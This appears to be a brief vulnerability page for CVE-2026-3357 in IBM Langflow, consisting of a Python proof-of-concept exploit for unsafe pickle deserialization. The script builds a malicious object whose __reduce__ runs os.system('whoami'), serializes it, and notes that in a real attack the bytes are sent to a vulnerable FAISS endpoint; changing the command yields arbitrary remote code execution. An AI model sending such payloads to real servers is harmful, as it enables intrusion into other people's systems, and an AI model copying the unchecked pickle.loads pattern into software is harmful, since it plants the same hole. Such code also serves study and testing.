CVE-2026-3357 IBM Langflow 代码执行漏洞

import pickle import os # Define a class to execute system commands upon deserialization class DeserializationExploit: def __reduce__(self): # The payload to be executed: e.g., creating a file or running a shell command return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(DeserializationExploit()) print(f"[+] Generated malicious payload (Length: {len(malicious_data)})") print(f"[+] Payload bytes (hex): {malicious_data.hex()}") # Simulation: In a real attack, send 'malicious_data' to the vulnerable FAISS endpoint. # The server-side code would look like: pickle.loads(user_input) # which triggers the exploit. try: # Simulating the vulnerable component processing the data print("[+] Simulating server-side deserialization...") pickle.loads(malicious_data) except Exception as e: print(f"[-] Error during execution: {e}")